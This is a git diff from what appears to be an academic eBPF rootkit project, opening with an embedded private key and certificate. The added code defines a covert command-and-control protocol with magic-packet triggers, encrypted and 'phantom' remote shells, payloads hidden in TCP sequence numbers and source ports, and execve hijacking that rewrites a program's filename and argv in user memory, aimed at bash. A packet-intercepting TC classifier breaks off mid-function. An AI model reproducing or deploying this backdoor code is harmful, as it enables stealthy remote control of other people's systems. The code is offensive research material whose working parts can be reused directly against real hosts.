vGvAHp+ruAgwDRdYVfzhAQKCAQEA3mnMZ58u5ZypwnJPuLRq20gYKQnPNDe7s3tF
|
||||
t7nRhOf1WsC2XBhvsqYl43iCOU0vE3fy8w1FqbMq2PYy9k26KgtylvODvzgf7Qna
|
||||
pdP0hrmNlNyfWcWSv4JnM5u2sLsF2zodyrVhs6Yf7K/hISULU1kBT2BJI2SlE3C5
|
||||
Ev2CPxYq0eKR35p/oCa/CmTI1BciOiktUJpbLnz9/OB7iE9SLo/K/KhGd2y/YHpe
|
||||
TUwJ2uSSqD9XksegyCf/3YCaFRGuEM0ASaZUpsV0S7zcCGUWG8eIMdQ9VPmgo5Lb
|
||||
qzqDk9sD5rj/gjBNRmXmSxBBOpzSqU8BgWzt/85d9r46yz3cYQKCAQEAw/row0jp
|
||||
dSUWaBjCgZJox6fYrbFAsLdTzffXSVI4Re6xyUV9ZMhbuxaOsfuK/ZuBGBTCjACG
|
||||
nYNMWkx2MLZNfpF82M273qQNU3zzS2AFCIpw4muLg3Zwfq69swyRJ3InhBwpSAWM
|
||||
EdlH2X51dfPRxo1Mze0W9tJLu3uRFMjeH3RBMbPLjgeQP0XRQ+BYneuDR30vHbgH
|
||||
mBu/1vZEjrY217AuXKhQMQrA7uQyo7dDzoqWtK52IztKeQsUBBH9x6H8phVPI/OJ
|
||||
D2KfaeHUOvHwouObzpT5tdanvXO5yFrgBvUOxl0ypFFK76SKuRkLG/FfqiXGGi3w
|
||||
XH3LWQHmJaO3KQKCAQAzQw1CoNTNRTN3RqOLPcIXMmGnK8SfE21mq7Xg56obyN6r
|
||||
ARnG1jcAZPz8lazmCh0cjpvnWxrARzRL90q9rCKJSEQr+IpYC1aIaqoDaHvGhYPV
|
||||
WJg9t6TgEO06XtxXlXN/GMD/FJklL9fR1KO94OzgU/ZSVi3lQ3Asr+FoOBfJ9JD/
|
||||
+QmIEPLzdZq4iYwkHgTchNsV5c24RETCAPdX7nhRlQDDBQHgyqa9VNbhV/I5ik8n
|
||||
ChpkETDEkTuO0PIygvWsl6NGVljSa1YnkqrgIHRdCLsiSPmt2S8mJFYO/BiRfnxC
|
||||
tEbnubxFynyutltiZ/zB2xzMuM+OEwFjOmsQpvxhAoIBACm6SMkbwymAJg8wBmoU
|
||||
RF8Oa+I/tWhrAFsAhERGT1kEg7I5K4PD7VQeb2+SAXwSGiCIewvYKNFs3Vr0oM2q
|
||||
Y0GptI1s8K1s/LFkD2FjJm81Guf6wg/Rrg4rIpT2/gkKE0PbwyZkl/hM7TFv7Y6Z
|
||||
xXajK1FFQ/h1uk5G9xMX2cOUuzTb9WFeVuZB9Vagc/3b4W3dR6TqRCOs9OHOObax
|
||||
MWgnSRfNdpWalo3G5MlbAgL+GyyJYPoLa8XuB+r98a0J3oN2Ug1zkyFFfG/M96U9
|
||||
UmE8WTZZHfoLpFeARnRUdRLGJskxmtDFxlDUFf1nSag/coEF3fJBCcaHuj5PWzN0
|
||||
clECggEAJlvY013lUE8I7+9RfuM9FSDMAHz548h6RSQjPQo1BJJU8rQPpsjrar0w
|
||||
2+LbXlHRwPcWpdoi3pknpjUVxQdtIF2FSEtdCNcRIz104lqrfAFe/O9KOV0/iQvU
|
||||
k4ywY0rHxJ4C7x2y918qlD8GluXv+i+YEneyV7onJCLo97IfgHOx6pPG0JEudYrO
|
||||
D0fyWPA2ttx9Qg9ggABh178Z6ErTW2u8APvUWgQAG1xXuJKg5OqBd9GT341AATJo
|
||||
FYdZczGBFzzzFHkuqemnH5w6lTyA1DGOnWocKQ8CHf/YH5njLHDpVOGncwoiPw8A
|
||||
A/iGISWr4/qHcINgtY1nBHeCd0EkOQ==
|
||||
-----END PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIE+zCCAuOgAwIBAgIURgo+OnvjsvSRONRpscRzizvP+QUwDQYJKoZIhvcNAQEL
|
||||
BQAwDTELMAkGA1UEBhMCRVMwHhcNMjIwNTA2MDEwMzM4WhcNMjMwNTA2MDEwMzM4
|
||||
WjANMQswCQYDVQQGEwJFUzCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
|
||||
AKpElD4Wn11yE15GMDf97qhy5MYN2X0oAiXSE/epBhc6KSsnJjQhD0WvgdP9n6GM
|
||||
zX9EUXN1r6sg4iHoWL1dBaYhKA2Qsgjx7r8XYHyyCrl4m4ps/5dr8kZsaLB4M5r9
|
||||
LhQSb8mZubjQO2CvTwYIBisKLfmPg4AcDsBOj0C+lKBrnCRGwpy6YuWcll0UvOtd
|
||||
Zy5psvK/pNUatViYkg/KRn5dObQSgUPlPlDj2jVCaH8HUgh4T+E/hHsvOgrgpzm4
|
||||
SVLqFS0sgewegrUvjNUCo/7JvcQrQeXD4mCZ0wt26U4fFf6GnF2q1NES5fBa9LEK
|
||||
po3UwgpAsOJFfdCi+fXpqcoNLxecL0PBrojN1yBdm2VM0YTTKBtQe/iwtcXQkkkd
|
||||
SxWtCEE86Mwi7zQhZJgq67B/gGdvuZ8nKP5/oVqc4al9JCPTqHhpZqI/w9QrfyK9
|
||||
QZ8XSA8NsrTVD/GqpxpWqF6jkoT9hRWSzfFJpMsx4r2+KzeLn89j4YsvrjgrVz76
|
||||
zyxIIWA6P2ANMvLgFa71XYeQK1PZkkYbriC9wtjP7ljmDwVbLEwWyBCtCw/I/ATP
|
||||
S9/d12lS8C6vXOvfn99jCN0vuXQywHJIkOtUh0q1fTDHyDbig4UzS/kpm6QKmzqb
|
||||
vtzaZr0kHTfVGhrCegXjQlOcZ07XjFRMD215OBccNKKJAgMBAAGjUzBRMB0GA1Ud
|
||||
DgQWBBQfgD7ZU0HjCQlRmuThMlRYnAkb/TAfBgNVHSMEGDAWgBQfgD7ZU0HjCQlR
|
||||
muThMlRYnAkb/TAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4ICAQBC
|
||||
VzY9Q7YXIGQRv1hw2uzpv15mQJHGIPh1YyRJMQIaAPAfvLy5Mi+IY+ZMvCfVlykD
|
||||
NTxoPLiJQvwf61UOPyxOHA/TUXdLybeqiFCM025PHx/H8K482WBORPOuOFep2xf1
|
||||
A4MEFyX3aeBAEFcR0/ns2evQt4KIjmglHxmCPCTA29/6P+ObS0BtUngyFKyoCS9Z
|
||||
10EakCZsC65ALV7/qU4jPrvQYU0xMSnAop+pwAFtUvKzlfrPNuCNw3jSR3yX2pZj
|
||||
/Pkhjub7dlIAR+A2iwktAnv8s4U/QbOia/hfu3hDgXK5yvynfjBAHcFZ6nmZFlUH
|
||||
9DyTaYObWG5s3Hz3gD4hbO4m4e4mnFqwK+Q5oNBnR0Sjw/6snowKf5rq78SJ2w0w
|
||||
buoXThpknQFpvHfFnWmxcynqUp4LFWmXcK4OEkl85iwmhu/8R7rRt3K3NgrH9U18
|
||||
lya7XySsKL7tCH94B1sG81SK8l503Vs+7o37pGiehd00mj5YBuR5VqFh1QgrZQmp
|
||||
wHrqLodvegwuRxpUuwrI+3IvLYB5f3n5i9uL2/n5b6Y97aTyrXijoTdmZEn68OE1
|
||||
exrEy4SJhZXu2DFkFIjFYISw73hwsXBrr54RX34Y4y5NYb7G0IXLMdiLaKzCChAC
|
||||
gESIACorO+q0WCekd1dT+OyxdyzScFXMkgeu0P0Fmw==
|
||||
-----END CERTIFICATE-----
|
||||
@@ -1,11 +1,52 @@
|
||||
#ifndef __BPF_CC_H
|
||||
#define __BPF_CC_H
|
||||
|
||||
//C&C V0 & V1 --> Unencrypted transmission with RAW sockets, no TCP conn
|
||||
//Protocol messages are also used inside the secure channel of V2 & V3 backdoor
|
||||
#define CC_PROT_BASELINE "CC_"
|
||||
#define CC_PROT_SYN "CC_SYN"
|
||||
#define CC_PROT_ACK "CC_ACK"
|
||||
#define CC_PROT_MSG "CC_MSG#"
|
||||
#define CC_PROT_FIN_PART "CC_FIN"
|
||||
#define CC_PROT_ERR "CC_ERR"
|
||||
#define CC_PROT_FIN CC_PROT_MSG CC_PROT_FIN_PART
|
||||
#define CC_PROT_BASH_COMMAND_REQUEST "CC_COMM_RQ#"
|
||||
#define CC_PROT_BASH_COMMAND_RESPONSE "CC_COMM_RS#"
|
||||
#define CC_CLIENT_SECRET_COMMANDING_PORT_DEFAULT 8000
|
||||
|
||||
//C&C V1 & V2 --> bpv47-like trigger + encrypted shell in V2
|
||||
#define CC_TRIGGER_SYN_PACKET_PAYLOAD_SIZE 0x10
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_1 "\x56\xA4"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_2 "\x78\x13"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL "\x1F\x29"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_ACTIVATE_ALL "\x1D\x25"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3_HOOK_DEACTIVATE_ALL "\x1D\x24"
|
||||
#define CC_TRIGGER_SYN_PACKET_KEY_3_PHANTOM_SHELL "\x4E\x14"
|
||||
#define CC_TRIGGER_SYN_PACKET_SECTION_LEN 0x02
|
||||
|
||||
#define CC_PROT_COMMAND_ENCRYPTED_SHELL 0
|
||||
#define CC_PROT_COMMAND_HOOK_ACTIVATE_ALL 1
|
||||
#define CC_PROT_COMMAND_HOOK_DEACTIVATE_ALL 2
|
||||
#define CC_PROT_COMMAND_PHANTOM_SHELL 3
|
||||
|
||||
//Phantom shell
|
||||
#define CC_PROT_PHANTOM_SHELL_INIT "CC_PHANTOM_INIT"
|
||||
#define CC_PROT_PHANTOM_COMMAND_REQUEST "CC_PHAN_RQ#"
|
||||
#define CC_PROT_PHANTOM_COMMAND_RESPONSE "CC_PHAN_RS#"
|
||||
#define CC_PROT_PHANTOM_COMMAND_MAX_LEN 8
|
||||
|
||||
//C&C V3 -- Distributed hidden payload in packet stream + encrypted shell
|
||||
struct trigger_32_t {
|
||||
unsigned int seq_raw;
|
||||
};
|
||||
struct trigger_16_t {
|
||||
unsigned short src_port;
|
||||
};
|
||||
#define CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SEQ_NUM 12
|
||||
#define CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SEQ_NUM 4
|
||||
#define CC_STREAM_TRIGGER_PAYLOAD_LEN_MODE_SRC_PORT 12
|
||||
#define CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES_MODE_SRC_PORT 2
|
||||
#define CC_STREAM_TRIGGER_KEY_ENCRYPTED_SHELL CC_TRIGGER_SYN_PACKET_KEY_3_ENCRYPTED_SHELL
|
||||
|
||||
|
||||
#endif
|
||||
@@ -19,8 +19,9 @@
|
||||
#define STRING_FS_SUDOERS_ENTRY_LEN 37
|
||||
|
||||
//EXECUTION HIJACKING
|
||||
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijackdeactivated\0"
|
||||
|
||||
#define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
|
||||
#define EXEC_HIJACK_ACTIVE_TEMP 0
|
||||
|
||||
//LIBRARY INJECTION WITH ROP
|
||||
#define TASK_COMM_NAME_ROP_TARGET "simple_timer"
|
||||
@@ -48,5 +49,7 @@
|
||||
\x5f\x5b\x5a\x59\x58\x5d\xff\x25\x00\x00\x00\x00"
|
||||
#define CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN 37
|
||||
|
||||
#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
|
||||
#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1
|
||||
|
||||
#endif
|
||||
@@ -1,6 +1,8 @@
|
||||
#ifndef __MAP_COMMON_H
|
||||
#define __MAP_COMMON_H
|
||||
|
||||
#include "struct_common.h"
|
||||
|
||||
// Ring buffer for kernel->user communication
|
||||
#define RB_EVENT_MAX_MESSAGE_SIZE 512
|
||||
typedef enum {
|
||||
@@ -8,6 +10,8 @@ typedef enum {
|
||||
DEBUG,
|
||||
EXIT,
|
||||
ERROR,
|
||||
COMMAND,
|
||||
PSH_UPDATE,
|
||||
VULN_SYSCALL
|
||||
} event_type_t;
|
||||
|
||||
@@ -15,6 +19,7 @@ struct rb_event {
|
||||
int pid;
|
||||
char message[RB_EVENT_MAX_MESSAGE_SIZE];
|
||||
int code;
|
||||
struct backdoor_phantom_shell_data bps_data;
|
||||
__u64 syscall_address;
|
||||
__u64 process_stack_return_address;
|
||||
__u64 libc_main_address;
|
||||
@@ -24,6 +29,8 @@ struct rb_event {
|
||||
__s32 got_offset;
|
||||
int relro_active;
|
||||
event_type_t event_type;
|
||||
__u32 client_ip;
|
||||
__u16 client_port;
|
||||
};
|
||||
|
||||
#endif
|
||||
|
||||
13
src/common/struct_common.h
Normal file
13
src/common/struct_common.h
Normal file
@@ -0,0 +1,13 @@
|
||||
#ifndef __H_STRUCT_COMMON
|
||||
#define __H_STRUCT_COMMON
|
||||
|
||||
|
||||
struct backdoor_phantom_shell_data{
|
||||
int active;
|
||||
unsigned int d_ip;
|
||||
unsigned short d_port;
|
||||
char payload[64];
|
||||
};
|
||||
|
||||
|
||||
#endif
|
||||
@@ -1,7 +1,10 @@
|
||||
#ifndef __BPF_MAP_DEFS_H
|
||||
#define __BPF_MAP_DEFS_H
|
||||
|
||||
#ifndef __H_TCKIT
|
||||
#include "headervmlinux.h"
|
||||
#endif
|
||||
#include "../../../common/c&c.h"
|
||||
|
||||
//Tasks and comms
|
||||
#define TASK_COMM_LEN 16
|
||||
@@ -14,6 +17,9 @@
|
||||
#define FS_OPEN_DATA_PROGRAM_NAME_SIZE 16
|
||||
#define FS_OPEN_DATA_FILENAME_SIZE 16
|
||||
|
||||
//Execution hijacking
|
||||
#define EXEC_VAR_HIJACK_ACTIVE_DATA_ARGV0_LEN 64
|
||||
|
||||
struct fs_open_data{ //Map value
|
||||
char* buf;
|
||||
int fd;
|
||||
@@ -23,6 +29,26 @@ struct fs_open_data{ //Map value
|
||||
int is_sudo;
|
||||
};
|
||||
|
||||
struct exec_var_hijack_active_data{//Map value
|
||||
__u32 pid;
|
||||
int hijack_state;
|
||||
char argv0[EXEC_VAR_HIJACK_ACTIVE_DATA_ARGV0_LEN];
|
||||
};
|
||||
|
||||
//Map value, contains 3 last packets from an specific IP (the key)
|
||||
struct backdoor_packet_log_data_32{
|
||||
int last_packet_modified;
|
||||
struct trigger_32_t trigger_array[3];
|
||||
};
|
||||
//Map value, contains 6 last packets from an specific IP (the key)
|
||||
struct backdoor_packet_log_data_16{
|
||||
int last_packet_modified;
|
||||
struct trigger_16_t trigger_array[6];
|
||||
};
|
||||
|
||||
//Map value, contains data of phantom shell, if active
|
||||
//In struct_common.h, it is used from userspace and kernel many times, so moved there
|
||||
|
||||
struct inj_ret_address_data{ //Map value
|
||||
__u64 libc_syscall_address;
|
||||
__u64 stack_ret_address;
|
||||
@@ -39,15 +65,38 @@ struct fs_priv_open{ //Map
|
||||
__type(value, struct fs_open_data);
|
||||
} fs_open SEC(".maps");
|
||||
|
||||
|
||||
//State of the execve hijacker. 0 inactive, 1 active
|
||||
struct exec_var_priv_hijack_active{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1);
|
||||
__type(key, __u64);
|
||||
__type(value, __u64);
|
||||
__type(value, struct exec_var_hijack_active_data);
|
||||
} exec_var_hijack_active SEC(".maps");
|
||||
|
||||
//Map to store log of packets received seeking to find a V3 backdoor trigger
|
||||
struct backdoor_priv_packet_log_32{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1024);
|
||||
__type(key, __u32); //Source IPv4 of packet
|
||||
__type(value, struct backdoor_packet_log_data_32);
|
||||
} backdoor_packet_log_32 SEC(".maps");
|
||||
struct backdoor_priv_packet_log_16{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1024);
|
||||
__type(key, __u32); //Source IPv4 of packet
|
||||
__type(value, struct backdoor_packet_log_data_16);
|
||||
} backdoor_packet_log_16 SEC(".maps");
|
||||
|
||||
|
||||
//Map to store state and data of phantom shell
|
||||
struct backdoor_priv_phantom_shell{
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
__uint(max_entries, 1);
|
||||
__type(key, __u64); //Source IPv4 of packet
|
||||
__type(value, struct backdoor_phantom_shell_data);
|
||||
__uint(pinning, LIBBPF_PIN_BY_NAME);
|
||||
} backdoor_phantom_shell SEC(".maps");
|
||||
|
||||
|
||||
//Return addresses of syscalls in the shared library, for the library injection
|
||||
struct inj_priv_ret_address{ //Map
|
||||
__uint(type, BPF_MAP_TYPE_HASH);
|
||||
|
||||
@@ -37,8 +37,8 @@ volatile int hijacker_state = 0;
|
||||
* @return 0 if OK, -1 if error exists
|
||||
*/
|
||||
static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *ctx, char* org_filename, char* org_argv){
|
||||
unsigned char* argv[1] = {0};
|
||||
unsigned char filename[1] = {0};
|
||||
char* argv[1] = {0};
|
||||
char filename[1] = {0};
|
||||
char* chosen_comp_char = "w\0";
|
||||
if(ctx==NULL || ctx->argv == NULL|| org_filename==NULL){
|
||||
return -1;
|
||||
@@ -63,7 +63,7 @@ static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *c
|
||||
return -1;
|
||||
};
|
||||
if(bpf_probe_read_user(&filename, 1, ctx->filename)<0){
|
||||
bpf_printk("Error reading tets 2\n");
|
||||
bpf_printk("Error reading test 2\n");
|
||||
return -1;
|
||||
};
|
||||
char argv_c;
|
||||
@@ -86,14 +86,27 @@ static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *c
|
||||
|
||||
static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
|
||||
//Check if the exec hijacker is active already
|
||||
if(hijacker_state == 1){
|
||||
char comm[TASK_COMM_LEN] = {0};
|
||||
int err = bpf_get_current_comm(comm, sizeof(comm));
|
||||
|
||||
|
||||
if(hijacker_state == 1 || EXEC_HIJACK_ACTIVE_TEMP == 0){
|
||||
return 0;
|
||||
}
|
||||
//bpf_printk("Starting execve hijacker\n");
|
||||
|
||||
if(TASK_COMM_RESTRICT_HIJACK_ACTIVE == 1){
|
||||
char *task = TASK_COMM_NAME_RESTRICT_HIJACK;
|
||||
if(str_n_compare(comm, TASK_COMM_LEN, task, 5, 5) != 0){
|
||||
//bpf_printk("failed: %s", comm);
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
bpf_printk("Starting execve hijacker\n");
|
||||
bpf_printk("EXEC_COMM: %s\n", comm);
|
||||
|
||||
unsigned char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||
char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||
//unsigned char* envp[PROGRAM_LENGTH] = {0};
|
||||
unsigned char filename[ARGUMENT_LENGTH] = {0};
|
||||
char filename[ARGUMENT_LENGTH] = {0};
|
||||
if(ctx==NULL || ctx->argv == NULL){
|
||||
return -1;
|
||||
}
|
||||
@@ -112,6 +125,8 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
|
||||
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
//bpf_printk("ENVP: %s\n", envp);
|
||||
bpf_printk("FILENAME: %s\n", filename);*/
|
||||
bpf_printk("&FILE: %llx, &ARGV0: %llx, &ARGV1: %llx\n", (void*)(ctx->filename), (void*)&(ctx->argv[0]), (void*)&(ctx->argv[1]));
|
||||
//bpf_printk("&ARGV: %llx, &ARGV0: %llx\n", ctx->argv, argv[0]);
|
||||
if((void*)ctx->filename==(void*)(ctx->argv)){
|
||||
//bpf_printk("Equal pointers");
|
||||
}else{
|
||||
@@ -134,12 +149,17 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
|
||||
while others always work.
|
||||
2* The call not only overwrites the filename, but also argv[0] with a single write. This may be related to userspace programs using
|
||||
the same buffer for both filename and argv[0], since it is the same data in the end. Accordingly, when this event happens both
|
||||
the pointers are very close to one another (196 bytes exactly), but not pointing to the same exact location, which is a mystery.
|
||||
the pointers are very close to one another (196 bytes exactly), but not pointing to the same exact location, which is surprising.
|
||||
|
||||
Another solution could be to hook do_execve and access the filename struct, which still contians
|
||||
an userspace buffer with filename inside. However if we failed to overwrite it before, we will too now.
|
||||
Also we can overwrite the return value of the syscall, pass the arguments to the internal ring buffer, read it from the
|
||||
user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough.
|
||||
|
||||
Note: The arguments of this tracepoint are marked as const, so upon futher review we might have an undefined behaviour issue.
|
||||
Note: Upon further investigation, I found the answer why executing commands from the bash terminal usually means
|
||||
the modification is failed:https://lists.linuxfoundation.org/pipermail/iovisor-dev/2017-September/001035.html
|
||||
Note: Restriction: because of the file locking mechanism in the userspace program, piped programs do not work for this PoC
|
||||
*/
|
||||
|
||||
char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
|
||||
@@ -161,14 +181,33 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
|
||||
}
|
||||
|
||||
if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
|
||||
bpf_printk("Error writing to user memory by %s\n", filename);
|
||||
//bpf_printk("NEW ARGV0: %s\n", argv[0]);
|
||||
//bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
//bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
bpf_printk("Error writing to user memory at filename by %s\n", filename);
|
||||
bpf_printk("NEW ARGV0: %s\n", argv[0]);
|
||||
bpf_printk("ARGV1: %s\n", argv[1]);
|
||||
bpf_printk("ARGV2: %s\n", argv[2]);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int filename_len = 0;
|
||||
for(int ii=0; ii<ARGUMENT_LENGTH; ii++){
|
||||
if(filename[ii] == '\0'){
|
||||
break;
|
||||
}
|
||||
filename_len++;
|
||||
}
|
||||
if(filename_len == 0){
|
||||
return -1;
|
||||
}
|
||||
//Bpf pointer writing, not possible to be done directly to ctx->argv[0]
|
||||
//TODO: Mention this in the report
|
||||
if(bpf_probe_write_user((void*)argv[0], (void*)filename, filename_len+1)<0){
|
||||
bpf_printk("Error writing to user memory at argv[0] by %s\n", filename);
|
||||
//If this happens then the filename was modified, but we have failed to modify this so
|
||||
//we must return the original filename
|
||||
bpf_probe_write_user((void*)(ctx->filename), (void*)filename, filename_len+1);
|
||||
bpf_printk("Reversed the previous filename write\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
hijacker_state = 1;
|
||||
|
||||
unsigned char newfilename[ARGUMENT_LENGTH] = {0};
|
||||
unsigned char* newargv[NUMBER_ARGUMENTS_PARSED] = {0};
|
||||
@@ -179,12 +218,30 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
|
||||
bpf_printk("Error reading 1\n");
|
||||
};
|
||||
|
||||
/*bpf_printk("SUCCESS NEW FILENAME: %s\n", newfilename);
|
||||
hijacker_state = 1;
|
||||
|
||||
bpf_printk("SUCCESS NEW FILENAME: %s\n", newfilename);
|
||||
bpf_printk("NEW ARGV0: %s\n\n", newargv[0]);
|
||||
bpf_printk("NEW ARGV1: %s\n", newargv[1]);
|
||||
bpf_printk("NEW ARGV2: %s\n", newargv[2]);*/
|
||||
bpf_printk("NEW ARGV2: %s\n", newargv[2]);
|
||||
//bpf_printk("ORIGINAL %s\n\n", filename);
|
||||
|
||||
/*__u64 pid_tgid = bpf_get_current_pid_tgid();
|
||||
if(pid_tgid<0){
|
||||
return -1;
|
||||
}
|
||||
__u32 pid = pid_tgid >> 32;
|
||||
struct exec_var_hijack_active_data *exec_hijack_data = (struct exec_var_hijack_active_data*) bpf_map_lookup_elem(&exec_var_hijack_active, &pid_tgid);
|
||||
if (exec_hijack_data != NULL ){
|
||||
//It means we have already performed this whole operation
|
||||
return -1;
|
||||
}
|
||||
|
||||
exec_hijack_data->hijack_state = 0;
|
||||
exec_hijack_data->pid = pid;
|
||||
bpf_probe_read(exec_hijack_data->argv0, 64, filename);
|
||||
bpf_map_update_elem(&exec_var_hijack_active, &pid_tgid, &exec_hijack_data, BPF_ANY);*/
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
@@ -1,39 +1,393 @@
|
||||
|
||||
#include <linux/bpf.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/pkt_cls.h>
|
||||
#include <linux/if_ether.h>
|
||||
#include <linux/ip.h>
|
||||
#include <linux/tcp.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <linux/swab.h>
|
||||
#include <linux/types.h>
|
||||
//#include <bpf/libbpf.h>
|
||||
//#include <bpf/libbpf.h>
|
||||
#include <bpf/bpf_tracing.h>
|
||||
#include <bpf/bpf_helpers.h>
|
||||
//#include <bpf/bpf_core_read.h>
|
||||
//#include <bpf/bpf_endian.h>
|
||||
//#include <bpf/bpf.h>
|
||||
|
||||
|
||||
struct pkt_ctx_t {
|
||||
struct cursor *c;
|
||||
struct ethhdr *eth;
|
||||
struct iphdr *ipv4;
|
||||
struct tcphdr *tcp;
|
||||
struct udphdr *udp;
|
||||
struct http_req_t *http_req;
|
||||
};
|
||||
#define __H_TCKIT
|
||||
#include "defs.h"
|
||||
#include "../../../common/struct_common.h"
|
||||
#include "../../../common/constants.h"
|
||||
|
||||
SEC("classifier/egress")
|
||||
int classifier(struct __sk_buff *skb){
|
||||
void *data_end = (void *)(unsigned long long)skb->data_end;
|
||||
void *data = (void *)(unsigned long long)skb->data;
|
||||
int classifier_egress(struct __sk_buff *skb){
|
||||
void *data = (void *)(__u64)skb->data;
|
||||
void *data_end = (void *)(__u64)skb->data_end;
|
||||
//bpf_printk("TC egress classifier called\n");
|
||||
|
||||
//We are interested on parsing TCP/IP packets so let's assume we have one
|
||||
//Ethernet header
|
||||
struct ethhdr *eth = data;
|
||||
bpf_printk("Heey\n");
|
||||
if (data + sizeof(struct ethhdr) > data_end)
|
||||
return TC_ACT_SHOT;
|
||||
|
||||
if (eth->h_proto == ___constant_swab16(ETH_P_IP))
|
||||
/*
|
||||
* Packet processing is not implemented in this sample. Parse
|
||||
* IPv4 header, possibly push/pop encapsulation headers, update
|
||||
* header fields, drop or transmit based on network policy,
|
||||
* collect statistics and store them in a eBPF map...
|
||||
*/
|
||||
return 0;//process_packet(skb);
|
||||
else
|
||||
if ((void *)eth + sizeof(struct ethhdr) > data_end){
|
||||
bpf_printk("ETH\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(eth->h_proto != htons(ETH_P_IP)){
|
||||
//Not an IP packet
|
||||
bpf_printk("IP\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//IP header
|
||||
struct iphdr *ip = (struct iphdr*)(data + sizeof(struct ethhdr));
|
||||
if ((void *)ip + sizeof(struct iphdr) > data_end){
|
||||
bpf_printk("IP CHECK, ip: %llx, data: %llx, datalen: %llx\n", ip, data, data_end);
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
if(ip->protocol != IPPROTO_TCP){
|
||||
//bpf_printk("Not TCP\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//TCP header
|
||||
struct tcphdr *tcp = (struct tcphdr *)(data + sizeof(struct ethhdr) + sizeof(struct iphdr));
|
||||
if ((void *)tcp + sizeof(struct tcphdr) > data_end){
|
||||
bpf_printk("TCP CHECK\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
//We must avoid tampering with packets directed to 9000, this is just
|
||||
//for testing in lo, since it makes us modify the trigger
|
||||
__u16 src_port = ntohs(tcp->source);
|
||||
if(src_port == CC_CLIENT_SECRET_COMMANDING_PORT_DEFAULT){
|
||||
bpf_printk("PORT CHECK\n");
|
||||
return TC_ACT_OK;
|
||||
}
|
||||
|
||||
bpf_printk("Detected bounds: data:%llx, data_end:%llx", data, data_end);
|
||||
bpf_printk("Detected headers: \n\teth:%llx\n\tip:%llx\n\ttcp:%llx\n", eth, ip, tcp);
|
||||
|
||||
__u32 payload_size = ntohs(ip->tot_len) - (tcp->doff * 4) - (ip->ihl * 4);
|
||||
bpf_printk("ip_totlen: %u, tcp_doff*4: %u, ip_ihl: %u\n", ntohs(ip->tot_len), tcp->doff*4, ip->ihl*4);
|
||||
//char* payload = (void *)(tcp + tcp->doff*4);
|
||||
char* payload = data_end - payload_size;
|
||||
/*if ((void*)payload + payload_size > data_end){
|
||||
bpf_printk("PAYLOAD CHECK, payload:%llx, payload_size:%llx, data_end:%llx\n", payload, payload_size, data_end);
|
||||
return TC_ACT_OK;
|
||||
}*/
|
||||
|
||||
//Mark skb buffer readable and writable
|
||||
bpf_skb_pull_data(skb, 0);
|
||||
|
||||
bpf_printk("PAYLOAD size: %u\n", payload_size);
|
||||
|
||||
//We redirect whatever packet this is to the rootkit
|
||||
//The TCP retransmissions will be in charge of resending it correctly later
|
||||
__u64 key = 1;
|
||||
struct backdoor_phantom_shell_data *ps_data = (struct backdoor_phantom_shell_data*) bpf_map_lookup_elem(&backdoor_phantom_shell, &key);
|
||||
struct backdoor_phantom_shell_data ps_new_data = {0};
|
||||
if(ps_data == (void*)0){
|
||||
//Phantom shell not active
|
||||
bpf_printk("Phantom shell NOT active yet\n");
|
||||
/*int err = bpf_map_update_elem(&backdoor_phantom_shell, &key, &ps_new_data, BPF_ANY);
|
||||
if(err<0){
|
||||
bpf_printk("Fail to update map\n");
|
||||
}*/
|
||||
return TC_ACT_OK;
|
||||
}else if(ps_data->active == 0){
|
||||
bpf_printk("Phantom shell NOT active right now\n");
|
||||
return TC_ACT_OK;
|
